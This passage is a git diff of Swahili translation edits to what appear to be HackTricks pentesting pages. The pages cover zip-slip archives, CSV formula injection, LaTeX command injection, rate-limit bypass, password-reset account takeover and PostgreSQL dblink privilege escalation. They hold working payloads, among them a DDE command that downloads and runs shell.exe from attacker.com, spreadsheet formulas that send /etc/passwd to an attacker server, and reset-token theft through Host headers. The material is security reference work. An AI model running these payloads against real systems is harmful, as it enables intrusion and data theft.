GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake. +Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake. Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu: ```python @@ -253,7 +253,7 @@ create_zip() Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`. +1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`. ```php [!CAUTION] -> Sasa hivi **Excel itamwonya** (mara kadhaa) **mtumiaji wakati kitu kinapoload kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Hivyo, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho. +> Sasa hivi **Excel itamwonya** (mara kadhaa) **mtumiaji wakati kitu kinapoload kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Hivyo basi, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -24,30 +24,30 @@ DDE ("cmd";"/C calc";"!A0")A0 **Mfano ufuatao ni muhimu sana kutoa maudhui kutoka kwa karatasi ya mwisho ya excel na kufanya maombi kwa maeneo yasiyo na mpangilio. Lakini inahitaji mtumiaji kubonyeza kiungo (na kukubali viashiria vya onyo).** -Mfano ufuatao umetolewa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) +Mfano ufuatao umechukuliwa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unavyotumiwa kupitia shambulio la CSV injection. Nia kuu ya mshambuliaji ni kuathiri mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya katika programu, hasa kwa kuingiza fomula hatari katika maeneo yaliyokusudiwa kwa maelezo ya wanafunzi. Shambulio linaendelea kama ifuatavyo: 1. **Kuingiza Mzigo Mbaya:** -- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("","Click here")`). +- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumika mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("","Click here")`). - Fomula hii imeundwa kuunda kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji. 2. **Kusafirisha Data Zilizovunjwa:** -- Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data katika faili ya CSV. -- Faili ya CSV, inapofunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa katika karatasi ya kazi. +- Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data hiyo kwenye faili la CSV. +- Faili la CSV, linapofunguliwa, bado lina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa katika karatasi ya kazi. 3. **Kuchochea Shambulio:** - Mwalimu anabonyeza kiungo, akiamini ni sehemu halali ya maelezo ya mwanafunzi. -- Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwa karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji. +- Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji. 4. **Kurekodi Data:** -- Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwa kompyuta ya mwalimu. -- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, akiongeza kuathiri faragha na usalama wa wanafunzi na taasisi. +- Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu. +- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, na kuathiri zaidi faragha na usalama wa wanafunzi na taasisi. ### RCE **Angalia** [**post ya asili**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.** -Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kwa kutekeleza amri zisizo na mpangilio. Ili kutumia hili, mipangilio ifuatayo inapaswa kuwezeshwa: +Katika mipangilio maalum au toleo la zamani la Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumika kwa kutekeleza amri zisizo na mpangilio. Ili kutumia hili, mipangilio ifuatayo inapaswa kuwezeshwa: -- Nenda kwa File → Options → Trust Center → Trust Center Settings → External Content, na wezesha **Dynamic Data Exchange Server Launch**. +- Nenda kwa File → Options → Trust Center → Trust Center Settings → External Content, na uwezeshe **Dynamic Data Exchange Server Launch**. Wakati karatasi ya kazi yenye mzigo mbaya inafunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kalkuleta, mzigo ungekuwa: ```markdown @@ -57,24 +57,24 @@ Amri za ziada zinaweza pia kutekelezwa, kama vile kupakua na kutekeleza faili kw ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` -### Local File Inclusion (LFI) katika LibreOffice Calc +### Local File Inclusion (LFI) in LibreOffice Calc LibreOffice Calc inaweza kutumika kusoma faili za ndani na kutoa data. Hapa kuna baadhi ya mbinu: -- Kusoma mstari wa kwanza kutoka kwa faili ya ndani `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1` -- Kutolewa kwa data iliyosomwa kwa seva inayodhibitiwa na mshambuliaji: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` -- Kutolewa kwa mistari zaidi ya mmoja: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` -- Kutolewa kwa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` +- Kusoma mstari wa kwanza kutoka faili ya ndani `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1` +- Kutuma data iliyosomwa kwa seva inayodhibitiwa na mshambuliaji: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` +- Kutuma zaidi ya mstari mmoja: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` +- Uhamasishaji wa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` -### Google Sheets kwa Kutolewa kwa Data ya Nje ya Muktadha (OOB) +### Google Sheets for Out-of-Band (OOB) Data Exfiltration -Google Sheets inatoa kazi ambazo zinaweza kutumika kwa kutolewa kwa data ya OOB: +Google Sheets inatoa kazi ambazo zinaweza kutumika kwa uhamasishaji wa data OOB: - **CONCATENATE**: Inachanganya nyuzi pamoja - `=CONCATENATE(A2:E2)` -- **IMPORTXML**: Inaleta data kutoka kwa aina za data zilizopangwa - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` +- **IMPORTXML**: Inaleta data kutoka aina za data zilizopangwa - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: Inaleta RSS au ATOM feeds - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` -- **IMPORTHTML**: Inaleta data kutoka kwa meza za HTML au orodha - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` -- **IMPORTRANGE**: Inaleta anuwai ya seli kutoka kwa karatasi nyingine - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` +- **IMPORTHTML**: Inaleta data kutoka kwenye meza za HTML au orodha - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` +- **IMPORTRANGE**: Inaleta anuwai ya seli kutoka kwenye karatasi nyingine - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: Inatia picha kwenye seli - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection @@ -83,14 +83,14 @@ Kawaida seva ambazo zitakutana mtandaoni ambazo **hubadilisha msimbo wa LaTeX ku Programu hii inatumia sifa 3 kuu ili (kuzuia) kuruhusu utekelezaji wa amri: - **`--no-shell-escape`**: **Zuia** muundo wa `\write18{command}`, hata kama umewezeshwa katika faili ya texmf.cnf. -- **`--shell-restricted`**: Sawasawa na `--shell-escape`, lakini **imepunguzika** kwa seti 'salama' ya **amri zilizopangwa** \*\* (Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: Kama `--shell-escape`, lakini **imepunguzia** seti 'salama' ya **amri zilizowekwa awali** (**Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Ruhusu** muundo wa `\write18{command}`. Amri inaweza kuwa amri yoyote ya shell. Muundo huu kawaida haukubaliwi kwa sababu za usalama. Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`. -### Soma faili +### Read file -Unaweza kuhitaji kurekebisha sindano na vifungashio kama \[ au $. +Unaweza kuhitaji kurekebisha uhamasishaji na vifungashio kama \[ au $. ```bash \input{/etc/passwd} \include{password} # load .tex file @@ -148,7 +148,7 @@ Ingizo la amri litapelekwa kwa stdin, tumia faili ya muda ili kulipata. ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` -Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila wahusika wabaya. +Ikiwa utapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila wahusika wabaya. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 9ed0bf4cf..a3ce9a5bc 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -6,15 +6,15 @@ ### Exploring Similar Endpoints -Jaribio zinapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` n.k. +Jaribio zinapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` nk. ### Incorporating Blank Characters in Code or Parameters -Kuingiza bytes za tupu kama `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` katika msimbo au vigezo kunaweza kuwa mkakati mzuri. Kwa mfano, kubadilisha parameter kuwa `code=1234%0a` kunaruhusu kupanua majaribio kupitia tofauti katika ingizo, kama kuongeza wahusika wapya kwenye anwani ya barua pepe ili kuzunguka mipaka ya majaribio. +Kuingiza bytes za tupu kama `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` katika msimbo au vigezo inaweza kuwa mkakati mzuri. Kwa mfano, kubadilisha parameter kuwa `code=1234%0a` kunaruhusu kupanua majaribio kupitia tofauti katika ingizo, kama kuongeza wahusika wapya kwenye anwani ya barua pepe ili kuzunguka mipaka ya majaribio. ### Manipulating IP Origin via Headers -Kubadilisha vichwa vya habari ili kubadilisha IP inayodhaniwa inaweza kusaidia kuepuka mipaka ya kiwango kulingana na IP. Vichwa vya habari kama `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, ikiwa ni pamoja na kutumia matukio mengi ya `X-Forwarded-For`, yanaweza kubadilishwa ili kuiga maombi kutoka IP tofauti. +Kubadilisha vichwa vya habari ili kubadilisha IP inayotambulika inaweza kusaidia kuepuka mipaka ya kiwango inayotegemea IP. Vichwa vya habari kama `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, ikiwa ni pamoja na kutumia matukio mengi ya `X-Forwarded-For`, yanaweza kubadilishwa ili kuiga maombi kutoka IP tofauti. ```bash X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -34,15 +34,15 @@ Kubadilisha vichwa vingine vya ombi kama vile user-agent na cookies kunashauriwa ### Kutumia Tabia ya API Gateway -Baadhi ya API gateways zimewekwa ili kutekeleza ukomo wa kiwango kulingana na mchanganyiko wa mwisho wa huduma na vigezo. Kwa kubadilisha thamani za vigezo au kuongeza vigezo visivyo na maana kwenye ombi, inawezekana kupita mantiki ya ukomo wa kiwango ya gateway, na kufanya kila ombi kuonekana kuwa la kipekee. Kwa mfano `/resetpwd?someparam=1`. +Baadhi ya API gateways zimewekwa ili kutekeleza mipaka ya kiwango kulingana na mchanganyiko wa mwisho wa huduma na vigezo. Kwa kubadilisha thamani za vigezo au kuongeza vigezo visivyo na maana kwenye ombi, inawezekana kupita mantiki ya mipaka ya kiwango ya gateway, na kufanya kila ombi kuonekana kuwa la kipekee. Kwa mfano `/resetpwd?someparam=1`. ### Kuingia Kwenye Akaunti Yako Kabla ya Kila Jaribio -Kuingia kwenye akaunti kabla ya kila jaribio, au kila seti ya majaribio, kunaweza kurekebisha hesabu ya ukomo wa kiwango. Hii ni muhimu hasa wakati wa kujaribu kazi za kuingia. Kutumia shambulio la Pitchfork katika zana kama Burp Suite, kubadilisha akidi kila majaribio kadhaa na kuhakikisha kwamba uelekeo wa kurudi umewekwa alama, kunaweza kuanzisha tena hesabu za ukomo wa kiwango kwa ufanisi. +Kuingia kwenye akaunti kabla ya kila jaribio, au kila seti ya majaribio, kunaweza kurekebisha hesabu ya mipaka ya kiwango. Hii ni muhimu hasa wakati wa kujaribu kazi za kuingia. Kutumia shambulio la Pitchfork katika zana kama Burp Suite, kubadilisha akidi kila majaribio machache na kuhakikisha kwamba uelekeo wa kufuatilia umewekwa, kunaweza kuanzisha tena hesabu za mipaka ya kiwango kwa ufanisi. ### Kutumia Mitandao ya Proxy -Kuweka mtandao wa proxies ili kusambaza maombi kwenye anwani nyingi za IP kunaweza kupita kwa ufanisi mipaka ya kiwango inayotegemea IP. Kwa kuelekeza trafiki kupitia proxies mbalimbali, kila ombi linaonekana kutokea kutoka chanzo tofauti, likipunguza ufanisi wa ukomo wa kiwango. +Kuweka mtandao wa proxies ili kusambaza maombi kwenye anwani nyingi za IP kunaweza kupita mipaka ya kiwango inayotegemea IP kwa ufanisi. Kwa kuelekeza trafiki kupitia proxies mbalimbali, kila ombi linaonekana kutokea kutoka chanzo tofauti, likipunguza ufanisi wa mipaka ya kiwango. ### Kugawanya Shambulio Kati ya Akaunti au Sesheni Tofauti @@ -50,6 +50,10 @@ Ikiwa mfumo wa lengo unatekeleza mipaka ya kiwango kwa msingi wa akaunti au sesh ### Endelea Kujaribu -Kumbuka kwamba hata kama ukomo wa kiwango upo unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama ukomo wa kiwango unachochewa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa moja halali ilitumwa jibu la 200 lilipokelewa. +Kumbuka kwamba hata kama mipaka ya kiwango ipo unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama mipaka ya kiwango ilipangwa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa halali ilitumwa jibu la 200 lilipokelewa. + +### Zana + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz ni zana ya fuzzing iliyoundwa ili kujaribu na kupita WAFs na CDNs. Kwa kutumia vipengele vya hali ya juu kama vile User-Agent wa nasibu na thamani ya kichwa, ucheleweshaji wa nasibu, kushughulikia uhamasishaji wa nyuzi nyingi, kuchagua sehemu za orodha za maneno na mzunguko wa proxy wa Round Robin kwa kila sehemu, inatoa suluhisho thabiti kwa wataalamu wa usalama wanaolenga kubaini udhaifu katika programu za wavuti. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 74b5e0ed7..a0f4aa3a7 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -18,24 +18,24 @@ ### Uainishaji wa Jina la Mtumiaji -Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limesajiliwa ndani ya programu. +Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limeregisteriwa ndani ya programu. ### Sera ya Nywila Unapounda mtumiaji angalia sera ya nywila (angalia kama unaweza kutumia nywila dhaifu).\ -Katika hali hiyo unaweza kujaribu kubruteforce akauti. +Katika hali hiyo unaweza kujaribu kubruteforce akidi. ### SQL Injection [**Angalia ukurasa huu** ](sql-injection/index.html#insert-statement)kujifunza jinsi ya kujaribu ukatili wa akaunti au kutoa taarifa kupitia **SQL Injections** katika fomu za usajili. -### Oauth Ukatili +### Oauth Takeovers {{#ref}} oauth-to-account-takeover.md {{#endref}} -### Ukatili wa SAML +### Uhalifu wa SAML {{#ref}} saml-attacks/ @@ -43,7 +43,7 @@ saml-attacks/ ### Badilisha Barua Pepe -Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa kwa usahihi au unaweza kuyabadilisha kuwa barua pepe zisizo na mpangilio. +Unapokuwa umesajiliwa jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa ipasavyo au unaweza kuyabadilisha kuwa barua pepe zisizo za kawaida. ### Ukaguzi Zaidi @@ -52,27 +52,27 @@ Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya - **Angalia mipaka ya viwango kwenye uundaji wa akaunti** - Tumia username@**burp_collab**.net na uchambue **callback** -## **Ukatili wa Kurekebisha Nywila** +## **Ukatili wa Kurejesha Nywila** -### Kuvuja kwa Tokeni ya Kurekebisha Nywila Kupitia Referrer +### Kuvuja kwa Tokeni ya Kurejesha Nywila Kupitia Referrer -1. Omba kurekebisha nywila kwa anwani yako ya barua pepe -2. Bonyeza kwenye kiungo cha kurekebisha nywila +1. Omba kurejesha nywila kwa anwani yako ya barua pepe +2. Bonyeza kwenye kiungo cha kurejesha nywila 3. Usibadilishe nywila -4. Bonyeza tovuti zozote za 3rd party (mfano: Facebook, twitter) -5. Intercept ombi katika Burp Suite proxy -6. Angalia kama kichwa cha referer kinavuja tokeni ya kurekebisha nywila. +4. Bonyeza tovuti zozote za upande wa tatu (mfano: Facebook, twitter) +5. Kamatia ombi katika Burp Suite proxy +6. Angalia kama kichwa cha referer kinavuja tokeni ya kurejesha nywila. -### Ukatili wa Kurekebisha Nywila kwa Kutoa Mchafuko +### Ukatili wa Kurejesha Nywila kwa Kutoa Taka -1. Intercept ombi la kurekebisha nywila katika Burp Suite +1. Kamatia ombi la kurejesha nywila katika Burp Suite 2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. Tuma ombi na kichwa kilichobadilishwa\ +3. Peleka ombi na kichwa kilichobadilishwa\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` -4. Tafuta URL ya kurekebisha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN` +4. Tafuta URL ya kurejesha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN` -### Kurekebisha Nywila Kupitia Kigezo cha Barua Pepe -```powershell +### Kurejesha Nywila Kupitia Paramenta ya Barua Pepe +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -91,14 +91,14 @@ email=victim@mail.com|hacker@mail.com ### IDOR on API Parameters 1. Mshambuliaji lazima aingie kwenye akaunti yao na aende kwenye kipengele cha **Badilisha nenosiri**. -2. Anza Burp Suite na uingilie ombi hilo. +2. Anza Burp Suite na uingilie ombi 3. Tuma kwenye tab ya repeater na uhariri vigezo: User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Weak Password Reset Token -Token ya kubadilisha nenosiri inapaswa kuundwa kwa bahati nasibu na kuwa ya kipekee kila wakati.\ -Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, katika baadhi ya matukio algorithm ya uzalishaji ni dhaifu na inaweza kukisiwa. Vigezo vifuatavyo vinaweza kutumika na algorithm. +Token ya kubadilisha nenosiri inapaswa kuundwa kwa nasibu na kuwa ya kipekee kila wakati.\ +Jaribu kubaini kama token inakoma au ikiwa kila wakati ni ile ile, katika baadhi ya matukio algorithimu ya uzalishaji ni dhaifu na inaweza kukisiwa. Vigezo vifuatavyo vinaweza kutumika na algorithimu. - Timestamp - UserID @@ -107,7 +107,7 @@ Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, kati - Tarehe ya Kuzaliwa - Cryptography - Nambari pekee -- Mfululizo mdogo wa token (herufi kati ya \[A-Z,a-z,0-9]) +- Mfuatano mdogo wa token (herufi kati ya \[A-Z,a-z,0-9]) - Tumia tena token - Tarehe ya kumalizika kwa token @@ -129,7 +129,7 @@ Tazama: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting -1. Pata XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha domain ya mzazi: `*.domain.com` +1. Tafuta XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha mzazi: `*.domain.com` 2. Leak **vidakuzi vya sasa vya sessions** 3. Thibitisha kama mtumiaji kwa kutumia cookie @@ -138,7 +138,7 @@ Tazama: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) 1\. Tumia **smuggler** kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. Tengeneza ombi ambalo litabadilisha `POST / HTTP/1.1` na data ifuatayo:\ -`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua upya wa mwathirika kwenda burpcollab na kuiba vidakuzi vyao\ +`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua redirect wa wahanga kwenda burpcollab na kuiba vidakuzi vyao\ 3\. Ombi la mwisho linaweza kuonekana kama ifuatavyo ``` GET / HTTP/1.1 @@ -155,23 +155,23 @@ Hackerone inaripoti kutumia hitilafu hii\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### Account Takeover via CSRF +### Kuchukua Akaunti kupitia CSRF -1. Tengeneza payload kwa ajili ya CSRF, e.g: “HTML form with auto submit for a password change” +1. Tengeneza payload kwa CSRF, e.g: “Fomu ya HTML yenye kuwasilisha kiotomatiki kwa mabadiliko ya nenosiri” 2. Tuma payload -### Account Takeover via JWT +### Kuchukua Akaunti kupitia JWT JSON Web Token inaweza kutumika kuthibitisha mtumiaji. -- Hariri JWT na User ID / Email nyingine -- Angalia kwa saini dhaifu ya JWT +- Hariri JWT kwa ID ya Mtumiaji / Barua pepe nyingine +- Angalia saini dhaifu ya JWT {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} -## References +## Marejeleo - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 982ca3737..1f118a173 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). +**Pata** [**maelezo zaidi kuhusu mashambulizi haya katika karatasi asilia**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). -Tangu **PostgreSQL 9.1**, usakinishaji wa moduli za ziada ni rahisi. [Extensions zilizoorodheshwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) zinaweza kusakinishwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): +Tangu **PostgreSQL 9.1**, ufungaji wa moduli za ziada ni rahisi. [Marekebisho yaliyoandikishwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) yanaweza kufungwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): ```sql CREATE EXTENSION dblink; ``` -Mara tu unapo kuwa na dblink imepakiwa unaweza kuwa na uwezo wa kufanya hila za kuvutia: +Mara tu umepakia dblink unaweza kuwa na uwezo wa kufanya hila za kuvutia: ### Kuinua Mamlaka @@ -16,17 +16,17 @@ Faili `pg_hba.conf` inaweza kuwa imewekwa vibaya **ikikubali muunganisho** kutok ``` local all all trust ``` -_Nakili kwamba usanidi huu unatumika mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\ -_Nakili pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._ +_Kumbuka kwamba usanidi huu hutumiwa mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\ +_Kumbuka pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._ Kesi hii ni **faida ikiwa** tayari una **shell** ndani ya mwathirika kwani itakuruhusu kuungana na hifadhidata ya postgresql. -Usanidi mwingine unaowezekana wa makosa unajumuisha kitu kama hiki: +Makosa mengine yanayoweza kutokea ni kama ifuatavyo: ``` host all all 127.0.0.1/32 trust ``` -Kwa kuwa itaruhusu kila mtu kutoka kwa localhost kuungana na database kama mtumiaji yeyote.\ -Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya kazi, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haupaswi kuwa na uwezo wa kufikia: +Kwa sababu itaruhusu kila mtu kutoka kwenye localhost kuungana na database kama mtumiaji yeyote.\ +Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya **kazi**, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haupaswi kuwa na uwezo wa kufikia: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -Kwa kutumia `dblink_connect` unaweza pia **kutafuta port zilizo wazi**. Ikiwa hiyo \*\*kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kama hati inavyosema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa kwamba itaruhusu watumiaji wasiokuwa 